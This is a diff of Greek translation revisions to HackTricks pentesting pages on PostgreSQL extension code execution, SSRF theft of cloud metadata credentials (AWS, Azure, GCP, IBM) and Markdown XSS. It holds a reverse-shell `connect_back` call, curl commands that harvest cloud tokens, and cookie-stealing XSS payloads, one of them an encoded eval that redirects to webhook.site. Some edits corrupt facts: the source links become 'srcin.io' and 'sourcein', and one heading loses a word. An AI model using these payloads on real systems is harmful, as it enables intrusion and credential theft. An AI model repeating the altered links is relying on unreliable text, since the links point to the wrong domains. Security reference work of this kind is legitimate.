@ -83,14 +83,14 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
|
||||
Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής και της συμβατότητας έκδοσης του συστήματος.
|
||||
|
||||
#### Συμπιέστε τη βιβλιοθήκη
|
||||
#### Μεταγλωττίστε τη βιβλιοθήκη
|
||||
|
||||
Αποκτήστε την έκδοση του PostgreSQL με:
|
||||
```sql
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Για συμβατότητα, είναι ουσιώδες οι κύριες εκδόσεις να ευθυγραμμίζονται. Επομένως, η σύνταξη μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα πρέπει να διασφαλίσει επιτυχημένη ενσωμάτωση.
|
||||
Για συμβατότητα, είναι απαραίτητο οι κύριες εκδόσεις να ευθυγραμμίζονται. Επομένως, η σύνταξη μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα πρέπει να διασφαλίσει επιτυχημένη ενσωμάτωση.
|
||||
|
||||
Για να εγκαταστήσετε αυτή την έκδοση στο σύστημά σας:
|
||||
```bash
|
||||
@ -283,8 +283,8 @@ select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Σημειώστε ότι δεν χρειάζεται να προσθέσετε την επέκταση `.dll` καθώς η συνάρτηση create θα την προσθέσει._
|
||||
|
||||
Για περισσότερες πληροφορίες **διαβάστε την** [ **αρχική δημοσίευση εδώ**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Σε αυτή τη δημοσίευση **αυτός ήταν ο** [**κώδικας που χρησιμοποιήθηκε για να δημιουργήσει την επέκταση postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις_).\
|
||||
Για περισσότερες πληροφορίες **διαβάστε την** [ **αρχική δημοσίευση εδώ**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Σε αυτή τη δημοσίευση **αυτός ήταν ο** [**κώδικας που χρησιμοποιήθηκε για να παραχθεί η επέκταση postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις_).\
|
||||
Στην ίδια σελίδα δόθηκε αυτή η **εκμετάλλευση για να αυτοματοποιήσει** αυτή την τεχνική:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
@ -6,16 +6,16 @@
|
||||
|
||||
### Κατάχρηση SSRF στο περιβάλλον AWS EC2
|
||||
|
||||
**Το metadata** endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε μηχανή EC2 και προσφέρει ενδιαφέρουσες πληροφορίες γι' αυτό. Είναι προσβάσιμο στη διεύθυνση: `http://169.254.169.254` ([πληροφορίες σχετικά με το metadata εδώ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Το metadata** endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε μηχανή EC2 και προσφέρει ενδιαφέρουσες πληροφορίες γι' αυτήν. Είναι προσβάσιμο στη διεύθυνση: `http://169.254.169.254` ([πληροφορίες για το metadata εδώ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Υπάρχουν **2 εκδόσεις** του metadata endpoint. Η **πρώτη** επιτρέπει την **πρόσβαση** στο endpoint μέσω **GET** αιτημάτων (έτσι οποιοδήποτε **SSRF μπορεί να το εκμεταλλευτεί**). Για την **έκδοση 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), πρέπει να ζητήσετε ένα **token** στέλνοντας ένα **PUT** αίτημα με ένα **HTTP header** και στη συνέχεια να χρησιμοποιήσετε αυτό το token για να αποκτήσετε πρόσβαση στο metadata με ένα άλλο HTTP header (έτσι είναι **πιο περίπλοκο να καταχραστεί** με ένα SSRF).
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι αν η EC2 instance επιβάλλει το IMDSv2, [**σύμφωνα με τα έγγραφα**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση του PUT αιτήματος** θα έχει ένα **hop limit 1**, καθιστώντας αδύνατη την πρόσβαση στο EC2 metadata από ένα κοντέινερ μέσα στην EC2 instance.
|
||||
>
|
||||
> Επιπλέον, το **IMDSv2** θα **μπλοκάρει επίσης αιτήματα για την απόκτηση ενός token που περιλαμβάνουν το header `X-Forwarded-For`**. Αυτό γίνεται για να αποτραπεί η πρόσβαση από κακώς ρυθμισμένους αντίστροφους διακομιστές μεσολάβησης.
|
||||
> Επιπλέον, το **IMDSv2** θα **μπλοκάρει επίσης αιτήματα για την απόκτηση ενός token που περιλαμβάνουν το header `X-Forwarded-For`**. Αυτό γίνεται για να αποτραπεί η πρόσβαση από κακώς ρυθμισμένα reverse proxies.
|
||||
|
||||
Μπορείτε να βρείτε πληροφορίες σχετικά με τα [metadata endpoints στα έγγραφα](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Στο παρακάτω σενάριο αποκτώνται κάποιες ενδιαφέρουσες πληροφορίες από αυτό:
|
||||
Μπορείτε να βρείτε πληροφορίες για τα [metadata endpoints στα έγγραφα](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Στο παρακάτω σενάριο αποκτώνται κάποιες ενδιαφέρουσες πληροφορίες από αυτό:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
@ -94,15 +94,15 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||
|
||||
### SSRF σε AWS ECS (Container Service) διαπιστευτήρια
|
||||
|
||||
**ECS**, είναι μια λογική ομάδα EC2 instances στην οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε τη δική σας υποδομή διαχείρισης κλάσματος, επειδή το ECS το διαχειρίζεται για εσάς. Εάν καταφέρετε να συμβιβάσετε την υπηρεσία που εκτελείται στο **ECS**, οι **τελικές μεταδεδομένων αλλάζουν**.
|
||||
**ECS**, είναι μια λογική ομάδα EC2 instances στην οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε την υποδομή διαχείρισης του δικού σας cluster, επειδή το ECS το διαχειρίζεται για εσάς. Αν καταφέρετε να παραβιάσετε την υπηρεσία που εκτελείται στο **ECS**, οι **τελικές μεταδεδομένων αλλάζουν**.
|
||||
|
||||
Εάν αποκτήσετε πρόσβαση στο _**http://169.254.170.2/v2/credentials/\<GUID>**_, θα βρείτε τα διαπιστευτήρια της μηχανής ECS. Αλλά πρώτα πρέπει να **βρείτε το \<GUID>**. Για να βρείτε το \<GUID> πρέπει να διαβάσετε τη μεταβλητή **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** μέσα στη μηχανή.\
|
||||
Αν αποκτήσετε πρόσβαση στο _**http://169.254.170.2/v2/credentials/\<GUID>**_ θα βρείτε τα διαπιστευτήρια της μηχανής ECS. Αλλά πρώτα πρέπει να **βρείτε το \<GUID>**. Για να βρείτε το \<GUID> πρέπει να διαβάσετε τη μεταβλητή **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** μέσα στη μηχανή.\
|
||||
Μπορείτε να είστε σε θέση να το διαβάσετε εκμεταλλευόμενοι μια **Path Traversal** στο `file:///proc/self/environ`\
|
||||
Η αναφερόμενη διεύθυνση http θα πρέπει να σας δώσει το **AccessKey, SecretKey και token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι σε **ορισμένες περιπτώσεις** θα μπορείτε να έχετε πρόσβαση στην **EC2 metadata instance** από το κοντέινερ (ελέγξτε τους περιορισμούς TTL του IMDSv2 που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια από το κοντέινερ μπορείτε να έχετε πρόσβαση τόσο στον ρόλο IAM του κοντέινερ όσο και στον ρόλο IAM του EC2.
|
||||
|
||||
### SSRF για AWS Lambda
|
||||
@ -118,7 +118,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||
Επιπλέον, εκτός από τα IAM credentials, οι λειτουργίες Lambda έχουν επίσης **δεδομένα εκδήλωσης που μεταφέρονται στη λειτουργία όταν ξεκινά**. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) και μπορεί να περιέχουν **ευαίσθητες** **πληροφορίες** (όπως μέσα στις **stageVariables**). Σε αντίθεση με τα IAM credentials, αυτά τα δεδομένα είναι προσβάσιμα μέσω τυπικού SSRF στο **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι οι **credentials της lambda** βρίσκονται μέσα στις **env variables**. Έτσι, αν η **στοίβα σφαλμάτων** του κώδικα lambda εκτυπώνει env vars, είναι δυνατόν να **εξαχθούν προκαλώντας ένα σφάλμα** στην εφαρμογή.
|
||||
> Σημειώστε ότι οι **credentials της lambda** είναι μέσα στις **env variables**. Έτσι, αν η **στοίβα σφαλμάτων** του κώδικα lambda εκτυπώνει env vars, είναι δυνατόν να **εξαχθούν προκαλώντας ένα σφάλμα** στην εφαρμογή.
|
||||
|
||||
### SSRF URL για AWS Elastic Beanstalk
|
||||
|
||||
@ -143,9 +143,9 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
||||
|
||||
Απαιτεί την HTTP κεφαλίδα **`Metadata-Flavor: Google`** και μπορείτε να αποκτήσετε πρόσβαση στο endpoint μεταδεδομένων με τις παρακάτω διευθύνσεις URL:
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
- http://metadata
|
||||
- [http://169.254.169.254](http://169.254.169.254)
|
||||
- [http://metadata.google.internal](http://metadata.google.internal)
|
||||
- [http://metadata](http://metadata)
|
||||
|
||||
Ενδιαφέροντα endpoints για την εξαγωγή πληροφοριών:
|
||||
```bash
|
||||
@ -320,10 +320,10 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
- **Πρέπει** να περιέχει την κεφαλίδα `Metadata: true`
|
||||
- Δεν πρέπει **να** περιέχει μια κεφαλίδα `X-Forwarded-For`
|
||||
- Δεν πρέπει **να περιέχει** μια κεφαλίδα `X-Forwarded-For`
|
||||
|
||||
> [!TIP]
|
||||
> Ένα Azure VM μπορεί να έχει συνδεδεμένη 1 διαχειριζόμενη ταυτότητα συστήματος και πολλές διαχειριζόμενες ταυτότητες χρηστών. Αυτό σημαίνει βασικά ότι μπορείτε να **παριστάνετε όλες τις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες σε ένα VM**.
|
||||
> Ένα Azure VM μπορεί να έχει συνδεδεμένη 1 διαχειριζόμενη ταυτότητα συστήματος και πολλές διαχειριζόμενες ταυτότητες χρηστών. Αυτό σημαίνει ότι μπορείτε να **παριστάνετε όλες τις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες σε ένα VM**.
|
||||
>
|
||||
> Όταν ζητάτε ένα διακριτικό πρόσβασης στο σημείο μεταδεδομένων, από προεπιλογή η υπηρεσία μεταδεδομένων θα χρησιμοποιήσει τη **διαχειριζόμενη ταυτότητα που έχει ανατεθεί στο σύστημα** για να δημιουργήσει το διακριτικό, εάν υπάρχει κάποια διαχειριζόμενη ταυτότητα που έχει ανατεθεί στο σύστημα. Σε περίπτωση που υπάρχει μόνο **ΜΙΑ διαχειριζόμενη ταυτότητα που έχει ανατεθεί από τον χρήστη**, τότε αυτή θα χρησιμοποιηθεί από προεπιλογή. Ωστόσο, σε περίπτωση που δεν υπάρχει διαχειριζόμενη ταυτότητα που έχει ανατεθεί από το σύστημα και υπάρχουν **πολλές διαχειριζόμενες ταυτότητες που έχουν ανατεθεί από τον χρήστη**, τότε η υπηρεσία μεταδεδομένων θα επιστρέψει ένα σφάλμα που υποδεικνύει ότι υπάρχουν πολλές διαχειριζόμενες ταυτότητες και είναι απαραίτητο να **καθορίσετε ποια να χρησιμοποιήσετε**.
|
||||
>
|
||||
@ -331,12 +331,12 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> Επομένως, για να βρείτε όλες τις συνδεδεμένες ΜΙ μπορείτε να κάνετε:
|
||||
>
|
||||
> - Λάβετε **συνδεδεμένες ταυτότητες με az cli** (αν έχετε ήδη παραβιάσει έναν κύριο στο Azure tenant)
|
||||
> - Λάβετε **συνδεδεμένες ταυτότητες με az cli** (αν έχετε ήδη παραβιάσει έναν κύριο στον Azure tenant)
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - Λάβετε **συνδεδεμένες ταυτότητες** χρησιμοποιώντας τη διαχειριζόμενη ταυτότητα που έχει ανατεθεί από προεπιλογή στα μεταδεδομένα:
|
||||
@ -346,23 +346,23 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> # Λάβετε διακριτικό από τη διαχειριζόμενη ταυτότητα που έχει ανατεθεί από προεπιλογή
|
||||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
>
|
||||
> # Λάβετε τις απαραίτητες λεπτομέρειες
|
||||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
>
|
||||
> # Δοκιμάστε να λάβετε τις συνδεδεμένες ΜΙ
|
||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - **Λάβετε όλες** τις καθορισμένες διαχειριζόμενες ταυτότητες στο tenant και **brute force** για να δείτε αν κάποια από αυτές είναι συνδεδεμένη στο VM:
|
||||
> - **Λάβετε όλες** τις καθορισμένες διαχειριζόμενες ταυτότητες στον tenant και **brute force** για να δείτε αν κάποια από αυτές είναι συνδεδεμένη στο VM:
|
||||
>
|
||||
> ```bash
|
||||
> az identity list
|
||||
@ -427,9 +427,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι το endpoint **`http://169.254.169.254/metadata/v1/instanceinfo` δεν απαιτεί το `Metadata: True` header** το οποίο είναι εξαιρετικό για να δείξει τον αντίκτυπο σε ευπάθειες SSRF στο Azure όπου δεν μπορείτε να προσθέσετε αυτό το header.
|
||||
|
||||
### Υπηρεσίες Azure App & Functions & Λογαριασμοί Αυτοματοποίησης
|
||||
|
||||
Από το **env** μπορείτε να αποκτήσετε τις τιμές των **`IDENTITY_HEADER`** και **`IDENTITY_ENDPOINT`**. Αυτές μπορείτε να τις χρησιμοποιήσετε για να συγκεντρώσετε ένα token για να μιλήσετε με τον διακομιστή μεταδεδομένων.
|
||||
Από το **env** μπορείτε να πάρετε τις τιμές των **`IDENTITY_HEADER`** και **`IDENTITY_ENDPOINT`**. Αυτές μπορείτε να τις χρησιμοποιήσετε για να συγκεντρώσετε ένα token για να μιλήσετε με τον server μεταδεδομένων.
|
||||
|
||||
Οι περισσότερες φορές, θέλετε ένα token για έναν από αυτούς τους πόρους:
|
||||
|
||||
@ -524,7 +527,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
|
||||
## IBM Cloud
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι στην IBM από προεπιλογή τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμη και αν βρίσκεστε μέσα σε ένα VM της IBM cloud.
|
||||
> Σημειώστε ότι στο IBM από προεπιλογή τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμη και αν βρίσκεστε μέσα σε ένα VM της IBM cloud.
|
||||
```bash
|
||||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||||
-H "Metadata-Flavor: ibm"\
|
||||
@ -552,7 +555,7 @@ Documentation για τις υπηρεσίες μεταδεδομένων δια
|
||||
|
||||
## Packetcloud
|
||||
|
||||
Για την πρόσβαση στα μεταδεδομένα του Packetcloud, η τεκμηρίωση μπορεί να βρεθεί στο: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
Για την πρόσβαση στα μεταδεδομένα του Packetcloud, η τεκμηρίωση μπορεί να βρεθεί στη διεύθυνση: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
@ -562,7 +565,7 @@ Documentation για τις υπηρεσίες μεταδεδομένων δια
|
||||
|
||||
## HP Helion
|
||||
|
||||
Η ανάγκη για ένα header δεν αναφέρεται εδώ επίσης. Τα μεταδεδομένα είναι προσβάσιμα στο:
|
||||
Η ανάγκη για ένα header δεν αναφέρεται εδώ επίσης. Τα μεταδεδομένα είναι προσβάσιμα στη διεύθυνση:
|
||||
|
||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### HTML tags
|
||||
|
||||
Ο πιο κοινός τρόπος για να αποκτήσετε XSS σε markdown είναι να εισάγετε κοινές HTML ετικέτες που εκτελούν javascript, επειδή αρκετοί ερμηνευτές markdown θα αποδεχτούν επίσης HTML.
|
||||
Ο πιο κοινός τρόπος για να αποκτήσετε XSS σε markdown είναι να εισάγετε κοινές HTML tags που εκτελούν javascript, επειδή αρκετοί ερμηνευτές markdown θα αποδεχτούν επίσης HTML.
|
||||
```html
|
||||
<!-- XSS with regular tags -->
|
||||
<script>
|
||||
@ -42,7 +42,7 @@ t:prompt(document.cookie))
|
||||
```
|
||||
### HTML Sanitiser Markdown Bypass
|
||||
|
||||
Ο παρακάτω κώδικας **καθαρίζει την είσοδο HTML** και στη συνέχεια **την περνά στον αναλυτή markdown**, τότε, το XSS μπορεί να ενεργοποιηθεί εκμεταλλευόμενο τις λανθασμένες ερμηνείες μεταξύ Markdown και DOMPurify
|
||||
Ο παρακάτω κώδικας είναι **καθαρισμός HTML εισόδου** και στη συνέχεια **περνάει στον αναλυτή markdown**, τότε, το XSS μπορεί να ενεργοποιηθεί εκμεταλλευόμενο τις λανθασμένες ερμηνείες μεταξύ Markdown και DOMPurify
|
||||
```html
|
||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
||||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
||||
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
|
||||
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
|
||||
-->
|
||||
|
||||
[a](javascript:prompt(document.cookie))
|
||||
@ -97,7 +97,7 @@ Fuzzing examples from
|
||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:alert('XSS'))
|
||||
\
|
||||
[citelol]: (javascript:prompt(document.cookie))
|
||||
[lol]: (javascript:prompt(document.cookie))
|
||||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
[test](javascript://%0d%0aprompt(1))
|
||||
[test](javascript://%0d%0aprompt(1);com)
|
||||
|
||||
@ -7,15 +7,15 @@
|
||||
> [!TIP]
|
||||
> Αυτές είναι οι **αξίες του HackTricks Project**:
|
||||
>
|
||||
> - Δώστε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚους πόρους hacking** σε **ΟΛΟΥΣ** στο Διαδίκτυο.
|
||||
> - Το hacking αφορά τη μάθηση, και η μάθηση θα πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
|
||||
> - Ο σκοπός αυτού του βιβλίου είναι να χρησιμεύσει ως μια ολοκληρωμένη **εκπαιδευτική πηγή**.
|
||||
> - **ΑΠΟΘΗΚΕΥΣΗ** καταπληκτικών **τεχνικών hacking** που δημοσιεύει η κοινότητα δίνοντας στους **ΑΥΘΕΝΤΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **εύσημα**.
|
||||
> - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους.
|
||||
> - Γράφουμε επίσης **τις δικές μας έρευνες** στο HackTricks.
|
||||
> - Σε πολλές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια σύνοψη των σημαντικών μερών** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί την αρχική ανάρτηση** για περισσότερες λεπτομέρειες.
|
||||
> - **ΟΡΓΑΝΩΣΗ** όλων των τεχνικών hacking στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΕΣ**
|
||||
> - Η ομάδα του HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν πιο γρήγορα**
|
||||
> - Δώστε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟΥΣ πόρους hacking** σε **ΟΛΟΥΣ** στο Διαδίκτυο.
|
||||
> - Το hacking αφορά τη μάθηση, και η μάθηση θα πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
|
||||
> - Ο σκοπός αυτού του βιβλίου είναι να χρησιμεύσει ως μια ολοκληρωμένη **εκπαιδευτική πηγή**.
|
||||
> - **ΑΠΟΘΗΚΕΥΣΤΕ** καταπληκτικές **τεχνικές hacking** που δημοσιεύει η κοινότητα δίνοντας στους **ΑΥΘΕΝΤΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **πιστωτικά**.
|
||||
> - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους.
|
||||
> - Γράφουμε επίσης **τις δικές μας έρευνες** στο HackTricks.
|
||||
> - Σε πολλές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια περίληψη των σημαντικών μερών** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί την αρχική ανάρτηση** για περισσότερες λεπτομέρειες.
|
||||
> - **ΟΡΓΑΝΩΣΤΕ** όλες τις τεχνικές hacking στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΕΣ**
|
||||
> - Η ομάδα του HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν πιο γρήγορα**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -27,18 +27,18 @@
|
||||
|
||||
Μπορείτε να ευχαριστήσετε δημόσια τις ομάδες του HackTricks για τη συγκέντρωση όλων αυτών των πόρων δημόσια σε ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Αν είστε ιδιαίτερα ευγνώμονες μπορείτε επίσης να [**χρηματοδοτήσετε το έργο εδώ**](https://github.com/sponsors/carlospolop).\
|
||||
Και μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα του Github!** (Βρείτε τους συνδέσμους παρακάτω).
|
||||
Και μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα Github!** (Βρείτε τους συνδέσμους παρακάτω).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Πώς μπορώ να συμβάλλω στο έργο;**
|
||||
|
||||
Μπορείτε να **μοιραστείτε νέες συμβουλές και κόλπα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες του Github:
|
||||
Μπορείτε να **μοιραστείτε νέες συμβουλές και κόλπα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα του Github!**
|
||||
Μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα Github!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
@ -48,7 +48,7 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Πώς μπορώ να παραθέσω μια σελίδα του HackTricks;**
|
||||
> - **Πώς μπορώ να μια σελίδα του HackTricks;**
|
||||
|
||||
Αρκεί να εμφανίζεται ο σύνδεσμος **της** σελίδας(ων) από όπου πήρατε τις πληροφορίες.\
|
||||
Αν χρειάζεστε ένα bibtex μπορείτε να χρησιμοποιήσετε κάτι σαν:
|
||||
@ -74,11 +74,11 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
